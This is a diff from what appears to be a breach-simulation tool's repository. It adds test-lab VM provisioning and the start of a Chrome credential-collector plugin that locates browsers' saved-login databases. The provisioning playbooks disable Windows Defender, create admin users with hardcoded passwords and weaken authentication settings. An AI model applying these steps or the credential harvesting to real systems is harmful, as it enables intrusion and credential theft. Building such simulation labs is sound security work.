C:\Windows\Temp + ansible_become_password: P@ssw0rd! + tasks: + - name: Create user + win_user: + name: m0nk3y + password: P@ssw0rd! + password_never_expires: yes + state: present + update_password: on_create + groups_action: add + groups: + - Administrators + - "Remote Desktop Users" + + - name: Allow port 8080 + win_command: + cmd: netsh advfirewall firewall add rule name="Allow Port 8080" dir=in action=allow protocol=TCP localport=8080 + + - name: Disable Windows Defender using registry + win_regedit: + path: HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender + name: DisableAntiSpyware + data: 1 + type: dword + state: present + + - name: Disable Windows Defender + win_shell: Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -EnableNetworkProtection AuditMode -Force + become: yes + become_user: m0nk3y + + - name: Change the hostname to rdp-64 + ansible.windows.win_hostname: + name: rdp-64 + register: res + + - name: Reboot + ansible.windows.win_reboot: + when: res.reboot_required diff --git a/envs/monkey_zoo/packer/setup_rdp_65.yml b/envs/monkey_zoo/packer/setup_rdp_65.yml new file mode 100644 index 00000000000..19f9d35f2f8 --- /dev/null +++ b/envs/monkey_zoo/packer/setup_rdp_65.yml @@ -0,0 +1,33 @@ +--- +- name: Create a new user and allow RDP access + hosts: all + vars: + ansible_remote_tmp: C:\Windows\Temp + tasks: + - name: Create user + win_user: + name: m0nk3y + password: S3Cr3T1# + password_never_expires: yes + state: present + update_password: on_create + groups_action: add + groups: + - Administrators + - "Remote Desktop Users" + + - name: Add disablerestrictedadmin key to enable Restricted Admin mode + ansible.windows.win_regedit: + path: HKLM:\System\CurrentControlSet\Control\Lsa + name: DisableRestrictedAdmin + data: 0 + type: dword + + - name: Change the hostname to rdp-65 + ansible.windows.win_hostname: + name: rdp-65 + register: res + + - name: Reboot + ansible.windows.win_reboot: + when: res.reboot_required diff --git a/envs/monkey_zoo/packer/smb.pkr.hcl b/envs/monkey_zoo/packer/smb.pkr.hcl new file mode 100644 index 00000000000..c1176930be9 --- /dev/null +++ b/envs/monkey_zoo/packer/smb.pkr.hcl @@ -0,0 +1,77 @@ +packer { + required_plugins { + googlecompute = { + source = "github.com/hashicorp/googlecompute" + version = "~> 1" + } + ansible = { + source = "github.com/hashicorp/ansible" + version = "~> 1" + } + } +} + +variable "project_id" { + type = string +} +variable "zone" { + type = string + default = "europe-west3-a" +} +variable "machine_type" { + type = string + default = "e2-standard-4" +} +variable "source_image" { + type = string + default = "windows-server-2016-dc-v20211216" +} +variable "account_file" { + type = string +} +variable "packer_username" { + type = string + default = "packer_user" +} +variable "packer_user_password" { + type = string + default = "Passw0rd" +} + + + +source "googlecompute" "mimikatz-15" { + image_name = "mimikatz-15" + project_id = "${var.project_id}" + source_image = "${var.source_image}" + zone = "${var.zone}" + disk_size = 50 + machine_type = "${var.machine_type}" + account_file = "${var.account_file}" + communicator = "winrm" + winrm_username = "${var.packer_username}" + winrm_password = "${var.packer_user_password}" + winrm_insecure = true + winrm_use_ssl = true + metadata = { + sysprep-specialize-script-cmd = "winrm quickconfig -quiet & net user packer_user Passw0rd /add & net localgroup administrators packer_user /add & winrm set winrm/config/service/auth @{Basic=\"true\"}" + } +} + +build { + sources = [ + "source.googlecompute.mimikatz-15", + ] + provisioner "ansible" { + only = ["googlecompute.mimikatz-15"] + use_proxy = false + user = "${var.packer_username}" + playbook_file = "./packer/setup_mimikatz_15.yml" + ansible_env_vars = ["ANSIBLE_HOST_KEY_CHECKING=False"] + extra_arguments = [ + "-e", "ansible_winrm_transport=ntlm ansible_winrm_server_cert_validation=ignore", + "-e", "ansible_password=${var.packer_user_password}", + "-vvv" + ] + } +} diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index 3a084a7a111..bf04ffc7cc4 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -272,3 +272,70 @@ resource "google_compute_firewall" "allow-all-tunneling2" { // Here goes your public IP so you can SSH/RDP in the instances source_ranges = ["127.0.0.1/32"] } + +resource "google_compute_firewall" "allow-rdp64-and-island" { + name = "allow-rdp64-to-island" + network = google_compute_network.monkeyzoo.name + + allow { + protocol = "all" + } + priority = "999" + source_tags = ["island", "rdp-64"] + target_tags = ["rdp-64", "island"] +} + + +resource "google_compute_firewall" "allow-rdp65-and-rdp64" { + name = "allow-rdp65-to-rdp64" + network = google_compute_network.monkeyzoo.name + + allow { + protocol = "all" + } + priority = "999" + + source_tags = ["rdp-64", "rdp-65"] + target_tags = ["rdp-65", "rdp-64"] +} + + +resource "google_compute_firewall" "deny-rdp-from-others" { + name = "deny-rdp65-from-others" + network = google_compute_network.monkeyzoo.name + + deny { + protocol = "all" + } + + source_ranges = ["0.0.0.0/0"] + target_tags = ["rdp-64", "rdp-65"] +} + +resource "google_compute_firewall" "deny-rdp64-rdp65-to-others" { + name = "deny-rdp64-rdp65-to-others" + network = google_compute_network.monkeyzoo.name + + deny { + protocol = "all" + } + + source_tags = ["rdp-64", "rdp-65"] +} + +// We are disabling PowerShell because we want only RDP\SMB to run on these machines +// and we can't do it via Packer because it uses WinRM to configure the instances +resource "google_compute_firewall" "deny-powershell-on-rdp-and-smb" { + name = "deny-powershell-on-rdp" + network = google_compute_network.monkeyzoo.name + + deny { + protocol = "tcp" + ports = ["5985", "5986"] + } + direction = "INGRESS" + priority = "998" + + source_ranges = ["0.0.0.0/0"] + target_tags = ["rdp-64", "rdp-65", "mimikatz-14", "mimikatz-15"] +} diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 53d0b6fdc34..b40eb0402f3 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -51,6 +51,14 @@ data "google_compute_image" "snmp-20" { name = "snmp-20" project = local.monkeyzoo_project } +data "google_compute_image" "rdp-64" { + name = "rdp-64" + project = local.monkeyzoo_project +} +data "google_compute_image" "rdp-65" { + name = "rdp-65" + project = local.monkeyzoo_project +} data "google_compute_image" "powershell-3-48" { name = "powershell-3-48" project = local.monkeyzoo_project @@ -107,6 +115,14 @@ data "google_compute_image" "log4j-logstash-56" { name = "log4j-logstash-56" project = local.monkeyzoo_project } +data "google_compute_image" "browser-credentials-66" { + name = "browser-credentials-66" + project = local.monkeyzoo_project +} +data "google_compute_image" "browser-credentials-67" { + name = "browser-credentials-67" + project = local.monkeyzoo_project +} data "google_compute_image" "zerologon-25" { name = "zerologon-25" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 817a34fc0f5..71b855bf44d 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -2,7 +2,8 @@ // Local variables locals { default_ubuntu = google_compute_instance_template.ubuntu16.self_link - default_windows = google_compute_instance_template.windows2016.self_link + windows_2012 = google_compute_instance_template.windows2012.self_link + windows_2016 = google_compute_instance_template.windows2016.self_link } // Network @@ -106,7 +107,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { resource "google_compute_instance_from_template" "hadoop-3" { name = "${local.resource_prefix}hadoop-3" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-custom-4-8192" boot_disk { initialize_params { @@ -190,7 +191,7 @@ resource "google_compute_instance_from_template" "tunneling-11" { resource "google_compute_instance_from_template" "tunneling-12" { name = "${local.resource_prefix}tunneling-12" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" boot_disk { initialize_params { @@ -264,25 +265,49 @@ resource "google_compute_instance_from_template" "sshkeys-12" { } } -/* -resource "google_compute_instance_from_template" "rdpgrinder-13" { - name = "${local.resource_prefix}rdpgrinder-13" - source_instance_template = "${local.default_windows}" +resource "google_compute_instance_from_template" "rdp-64" { + name = "${local.resource_prefix}rdp-64" + source_instance_template = local.windows_2016 + machine_type = "e2-highcpu-4" boot_disk{ initialize_params { - image = "${data.google_compute_image.rdpgrinder-13.self_link}" + image = "${data.google_compute_image.rdp-64.self_link}" } } + tags = ["rdp-64"] network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.13" + subnetwork="${local.resource_prefix}monkeyzoo-main-1" + network_ip="10.2.3.64" + access_config { + // Allows Ephemeral IPs + } } } -*/ + +resource "google_compute_instance_from_template" "rdp-65" { + name = "${local.resource_prefix}rdp-65" + source_instance_template = local.windows_2012 + machine_type = "e2-highcpu-4" + boot_disk{ + initialize_params { + image = "${data.google_compute_image.rdp-65.self_link}" + } + auto_delete = true + } + tags = ["rdp-65"] + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main-1" + network_ip="10.2.3.65" + access_config { + // Allows Ephemeral IPs + } + } +} + resource "google_compute_instance_from_template" "mimikatz-14" { name = "${local.resource_prefix}mimikatz-14" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 boot_disk { initialize_params { image = data.google_compute_image.mimikatz-14.self_link @@ -300,7 +325,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" { resource "google_compute_instance_from_template" "mimikatz-15" { name = "${local.resource_prefix}mimikatz-15" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 boot_disk { initialize_params { image = data.google_compute_image.mimikatz-15.self_link @@ -318,7 +343,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" { resource "google_compute_instance_from_template" "mssql-16" { name = "${local.resource_prefix}mssql-16" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" boot_disk { initialize_params { @@ -361,7 +386,7 @@ resource "google_compute_instance" "snmp-20" { resource "google_compute_instance_from_template" "powershell-3-48" { name = "${local.resource_prefix}powershell-3-48" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -382,7 +407,7 @@ resource "google_compute_instance_from_template" "powershell-3-48" { resource "google_compute_instance_from_template" "powershell-3-47" { name = "${local.resource_prefix}powershell-3-47" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -403,7 +428,7 @@ resource "google_compute_instance_from_template" "powershell-3-47" { resource "google_compute_instance_from_template" "powershell-3-46" { name = "${local.resource_prefix}powershell-3-46" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -424,7 +449,7 @@ resource "google_compute_instance_from_template" "powershell-3-46" { resource "google_compute_instance_from_template" "powershell-3-44" { name = "${local.resource_prefix}powershell-3-44" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -445,7 +470,7 @@ resource "google_compute_instance_from_template" "powershell-3-44" { resource "google_compute_instance_from_template" "powershell-3-45" { name = "${local.resource_prefix}powershell-3-45" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -577,7 +602,7 @@ resource "google_compute_instance_from_template" "log4j-solr-49" { resource "google_compute_instance_from_template" "log4j-solr-50" { name = "${local.resource_prefix}log4j-solr-50" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-standard-4" zone = "europe-west1-b" boot_disk { @@ -617,7 +642,7 @@ resource "google_compute_instance_from_template" "log4j-tomcat-51" { resource "google_compute_instance_from_template" "log4j-tomcat-52" { name = "${local.resource_prefix}log4j-tomcat-52" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -657,7 +682,7 @@ resource "google_compute_instance_from_template" "log4j-logstash-55" { resource "google_compute_instance_from_template" "log4j-logstash-56" { name = "${local.resource_prefix}log4j-logstash-56" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-highcpu-4" zone = "europe-west1-b" boot_disk { @@ -675,9 +700,49 @@ resource "google_compute_instance_from_template" "log4j-logstash-56" { } } +resource "google_compute_instance_from_template" "browser-credentials-66" { + name = "${local.resource_prefix}browser-credentials-66" + source_instance_template = local.default_ubuntu + machine_type = "e2-highcpu-4" + zone = "europe-west1-b" + boot_disk { + initialize_params { + image = data.google_compute_image.browser-credentials-66.self_link + } + auto_delete = true + } + network_interface { + subnetwork = "${local.resource_prefix}monkeyzoo-main-1" + network_ip = "10.2.3.66" + access_config { + // Allows Ephemeral IPs + } + } +} + +resource "google_compute_instance_from_template" "browser-credentials-67" { + name = "${local.resource_prefix}browser-credentials-67" + source_instance_template = local.default_ubuntu + machine_type = "e2-highcpu-4" + zone = "europe-west1-b" + boot_disk { + initialize_params { + image = data.google_compute_image.browser-credentials-67.self_link + } + auto_delete = true + } + network_interface { + subnetwork = "${local.resource_prefix}monkeyzoo-main-1" + network_ip = "10.2.3.67" + access_config { + // Allows Ephemeral IPs + } + } +} + resource "google_compute_instance_from_template" "zerologon-25" { name = "${local.resource_prefix}zerologon-25" - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 machine_type = "e2-custom-4-8192" boot_disk { initialize_params { @@ -719,7 +784,7 @@ resource "google_compute_instance_from_template" "island-windows-251" { name = "${local.resource_prefix}island-windows-251" machine_type = "e2-highcpu-4" tags = ["island", "windows", "windowsserver2016"] - source_instance_template = local.default_windows + source_instance_template = local.windows_2016 boot_disk { initialize_params { image = data.google_compute_image.island-windows-251.self_link diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index f7c026f2c39..edc1f7d5dea 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -21,6 +21,30 @@ resource "google_compute_instance_template" "ubuntu16" { } } +resource "google_compute_instance_template" "windows2012" { + name = "${local.resource_prefix}windows2012" + description = "Creates windows 2012 core servers at europe-west3-a." + + tags = ["test-machine", "windowsserver2012", "windows"] + + machine_type = "n1-standard-1" + can_ip_forward = false + + disk { + source_image = "windows-cloud/windows-2012-r2" + } + network_interface { + subnetwork="monkeyzoo-main" + access_config { + + } + } + service_account { + email=local.service_account_email + scopes=["cloud-platform"] + } +} + resource "google_compute_instance_template" "windows2016" { name = "${local.resource_prefix}windows2016" description = "Creates windows 2016 core servers at europe-west3-a." diff --git a/monkey/agent_plugins/build.sh b/monkey/agent_plugins/build.sh index 701dcb0ca90..8c8500eed45 100644 --- a/monkey/agent_plugins/build.sh +++ b/monkey/agent_plugins/build.sh @@ -19,6 +19,7 @@ source "$SCRIPT_DIR/util.sh" plugin_filename=$(get_plugin_filename "$SCRIPT_DIR/$PLUGIN_PATH") || fail "Failed to get plugin filename: $plugin_filename" DOCKER_COMMANDS=" +PATH=\$HOME/.cargo/bin:\$PATH && cd /plugins && bash build_plugin.sh \"${PLUGIN_PATH}\" && chown ${UID}:${GID} \"/plugins/${PLUGIN_PATH}/$plugin_filename\" diff --git a/monkey/agent_plugins/build_plugin.sh b/monkey/agent_plugins/build_plugin.sh index 31c94d17d50..98ee025cb79 100755 --- a/monkey/agent_plugins/build_plugin.sh +++ b/monkey/agent_plugins/build_plugin.sh @@ -35,12 +35,13 @@ rm requirements.txt pushd "$PLUGIN_PATH/src" || fail "$PLUGIN_PATH/src does not exist" source_archive=$PLUGIN_PATH/$SOURCE_FILENAME -tar -cf "$source_archive" --exclude __pycache__ --exclude .mypy_cache --exclude .pytest_cache --exclude .git --exclude .gitignore --exclude .DS_Store -- * +tar -zcf "$source_archive" --exclude __pycache__ --exclude .mypy_cache --exclude .pytest_cache --exclude .git --exclude .gitignore --exclude .DS_Store -- * rm -rf vendor* popd || exit 1 -plugin_filename=$(get_plugin_filename) || fail "Failed to get plugin filename: $plugin_filename" -tar -cf "$PLUGIN_PATH/$plugin_filename" "$MANIFEST_FILENAME" "$SCHEMA_FILENAME" "$SOURCE_FILENAME" +plugin_filename=$(get_plugin_filename "$PLUGIN_PATH") || fail "Failed to get plugin filename: $plugin_filename" +plugin_manifest_filename=$(get_plugin_manifest_filename "$PLUGIN_PATH") +tar -cf "$PLUGIN_PATH/$plugin_filename" "$plugin_manifest_filename" "$SCHEMA_FILENAME" "$SOURCE_FILENAME" rm "$source_archive" popd || exit 1 diff --git a/monkey/agent_plugins/build_windows_vendor_directory.ps1 b/monkey/agent_plugins/build_windows_vendor_directory.ps1 index f6b81e57d74..e6293ea35c9 100644 --- a/monkey/agent_plugins/build_windows_vendor_directory.ps1 +++ b/monkey/agent_plugins/build_windows_vendor_directory.ps1 @@ -13,6 +13,7 @@ Set-Location $plugin_path Remove-Item "$workspace\vendor-windows.zip" -Force Remove-Item $plugin_path\venv -Recurse -Force +Remove-Item "$plugin_path\src\vendor-windows" -Recurse -Force & python -m venv "$plugin_path\venv" & "$plugin_path\venv\Scripts\Activate.ps1" @@ -35,3 +36,4 @@ Compress-Archive -Path "$plugin_path\src\vendor-windows" -Destination "$workspac Set-PSDebug -Trace 1 Remove-Item $plugin_path\venv -Recurse -Force +Remove-Item "$plugin_path\src\vendor-windows" -Recurse -Force diff --git a/monkey/agent_plugins/credentials_collectors/chrome/Pipfile b/monkey/agent_plugins/credentials_collectors/chrome/Pipfile new file mode 100644 index 00000000000..8cac41d1a4f --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/Pipfile @@ -0,0 +1,13 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +psutil = "*" +pycryptodomex = "*" + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/credentials_collectors/chrome/Pipfile.lock b/monkey/agent_plugins/credentials_collectors/chrome/Pipfile.lock new file mode 100644 index 00000000000..a7ad5594b72 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/Pipfile.lock @@ -0,0 +1,79 @@ +{ + "_meta": { + "hash": { + "sha256": "2d6d66c11fab0ccd22f54ad1eaf67b10dfc859a87ca227af93431e8c28841b48" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "psutil": { + "hashes": [ + "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d", + "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217", + "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4", + "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c", + "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f", + "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da", + "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4", + "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42", + "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5", + "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4", + "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9", + "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f", + "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30", + "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48" + ], + "index": "pypi", + "version": "==5.9.5" + }, + "pycryptodomex": { + "hashes": [ + "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6", + "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c", + "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646", + "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470", + "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74", + "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a", + "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c", + "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422", + "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e", + "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37", + "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb", + "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8", + "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196", + "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef", + "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b", + "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb", + "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194", + "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7", + "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d", + "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff", + "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35", + "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7", + "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8", + "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f", + "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a", + "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e", + "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419", + "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222", + "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2", + "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278", + "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88", + "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5" + ], + "index": "pypi", + "version": "==3.18.0" + } + }, + "develop": {} +} diff --git a/monkey/agent_plugins/credentials_collectors/chrome/config-schema.json b/monkey/agent_plugins/credentials_collectors/chrome/config-schema.json new file mode 100644 index 00000000000..50c7cdcdc98 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/config-schema.json @@ -0,0 +1,3 @@ +{ + "type": "object" +} diff --git a/monkey/agent_plugins/credentials_collectors/chrome/manifest.yaml b/monkey/agent_plugins/credentials_collectors/chrome/manifest.yaml new file mode 100644 index 00000000000..b91efcea14d --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/manifest.yaml @@ -0,0 +1,12 @@ +name: Chrome +plugin_type: Credentials_Collector +supported_operating_systems: + - linux + - windows +target_operating_systems: + - linux + - windows +title: Chrome Credentials Collector +version: 1.0.0 +description: Collects credentials from Chrome-based browsers. +safe: true diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/browser_credentials_database_path.py b/monkey/agent_plugins/credentials_collectors/chrome/src/browser_credentials_database_path.py new file mode 100644 index 00000000000..4656712149e --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/browser_credentials_database_path.py @@ -0,0 +1,9 @@ +from dataclasses import dataclass +from pathlib import Path +from typing import Optional + + +@dataclass(frozen=True) +class BrowserCredentialsDatabasePath: + database_file_path: Path + master_key: Optional[bytes] diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_browser_local_data.py b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_browser_local_data.py new file mode 100644 index 00000000000..1a89571c47e --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_browser_local_data.py @@ -0,0 +1,61 @@ +import json +import logging +from contextlib import contextmanager +from dataclasses import dataclass, field +from pathlib import Path +from typing import Collection, Iterator, Set + +logger = logging.getLogger(__name__) + + +@dataclass(kw_only=True) +class ChromeBrowserLocalState: + profile_names: Set[str] = field(default_factory=set) + + +@contextmanager +def read_local_state(local_state_file_path: Path): + """ + Parse the local state file for a Chrome-based browser + """ + + try: + with open(local_state_file_path) as f: + local_state_object = json.load(f) + yield local_state_object + except FileNotFoundError: + logger.error(f'Couldn\'t find local state file at "{local_state_file_path}"') + except json.decoder.JSONDecodeError as err: + logger.error(f'Couldn\'t deserialize JSON file at "{local_state_file_path}": {err}') + + +class ChromeBrowserLocalData: + """ + The local data for a Chrome-based browser + + :param local_data_directory_path: Path to the browser's local data directory + """ + + def __init__(self, local_data_directory_path: Path, profile_names: Collection[str]): + self._local_data_directory_path = local_data_directory_path + self._profile_names = profile_names + + @property + def profile_names(self) -> Collection[str]: + """ + Get the names of all profiles for this browser + """ + + return self._profile_names + + @property + def credentials_database_paths(self) -> Iterator[Path]: + """ + Get the paths to all of the browser's credentials databases + """ + + for profile_name in self._profile_names: + database_path = Path(self._local_data_directory_path) / profile_name / "Login Data" + + if database_path.exists() and database_path.is_file(): + yield database_path diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector.py b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector.py new file mode 100644 index 00000000000..a425b8c1a28 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector.py @@ -0,0 +1,62 @@ +import time +from collections.abc import Collection, Sequence + +from common.agent_events import CredentialsStolenEvent +from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher +from common.tags import ( + CREDENTIALS_FROM_PASSWORD_STORES_T1555_TAG, + DATA_FROM_LOCAL_SYSTEM_T1005_TAG, + UNSECURED_CREDENTIALS_T1552_TAG, +) +from common.types import AgentID, Event + +from .typedef import CredentialsDatabaseProcessorCallable, CredentialsDatabaseSelectorCallable + +CHROME_CREDETIALS_COLLECTOR_TAG = "chrome-credentials-collector" +CHROME_COLLECTOR_EVENT_TAGS = frozenset( + ( + CHROME_CREDETIALS_COLLECTOR_TAG, + DATA_FROM_LOCAL_SYSTEM_T1005_TAG, + UNSECURED_CREDENTIALS_T1552_TAG, + CREDENTIALS_FROM_PASSWORD_STORES_T1555_TAG, + ) +) + + +class ChromeCredentialsCollector: + def __init__( + self, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + select_credentials_database: CredentialsDatabaseSelectorCallable, + process_credentials_database: CredentialsDatabaseProcessorCallable, + ): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + self._select_credentials_database = select_credentials_database + self._process_credentials_database = process_credentials_database + + def run(self, interrupt: Event) -> Sequence[Credentials]: + timestamp = time.time() + database_paths = self._select_credentials_database() + credentials = self._process_credentials_database(interrupt, database_paths) + + if len(database_paths) > 0: + self._publish_credentials_stolen_event(timestamp, credentials) + + return credentials + + def _publish_credentials_stolen_event( + self, + timestamp: float, + collected_credentials: Collection[Credentials], + ): + credentials_stolen_event = CredentialsStolenEvent( + timestamp=timestamp, + source=self._agent_id, + tags=CHROME_COLLECTOR_EVENT_TAGS, + stolen_credentials=list(collected_credentials), + ) + + self._agent_event_publisher.publish(credentials_stolen_event) diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector_builder.py b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector_builder.py new file mode 100644 index 00000000000..1173c8f9654 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/chrome_credentials_collector_builder.py @@ -0,0 +1,49 @@ +import logging + +from common import OperatingSystem +from common.event_queue import IAgentEventPublisher +from common.types import AgentID +from common.utils.environment import get_os + +from .chrome_credentials_collector import ChromeCredentialsCollector +from .database_reader import get_credentials_from_database +from .typedef import CredentialsDatabaseProcessorCallable, CredentialsDatabaseSelectorCallable + +logger = logging.getLogger(__name__) + + +def build_chrome_credentials_collector( + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, +): + credentials_database_selector = _build_credentials_database_selector() + credentials_database_processor = _build_credentials_database_processor() + + return ChromeCredentialsCollector( + agent_id, + agent_event_publisher, + credentials_database_selector, + credentials_database_processor, + ) + + +def _build_credentials_database_selector() -> CredentialsDatabaseSelectorCallable: + if get_os() == OperatingSystem.WINDOWS: + from .windows_credentials_database_selector import WindowsCredentialsDatabaseSelector + + return WindowsCredentialsDatabaseSelector() + + from .linux_credentials_database_selector import LinuxCredentialsDatabaseSelector + + return LinuxCredentialsDatabaseSelector() + + +def _build_credentials_database_processor() -> CredentialsDatabaseProcessorCallable: + if get_os() == OperatingSystem.WINDOWS: + from .windows_credentials_database_processor import WindowsCredentialsDatabaseProcessor + + return WindowsCredentialsDatabaseProcessor(get_credentials_from_database) + + from .linux_credentials_database_processor import LinuxCredentialsDatabaseProcessor + + return LinuxCredentialsDatabaseProcessor(get_credentials_from_database) diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/database_reader.py b/monkey/agent_plugins/credentials_collectors/chrome/src/database_reader.py new file mode 100644 index 00000000000..7cb55263756 --- /dev/null +++ 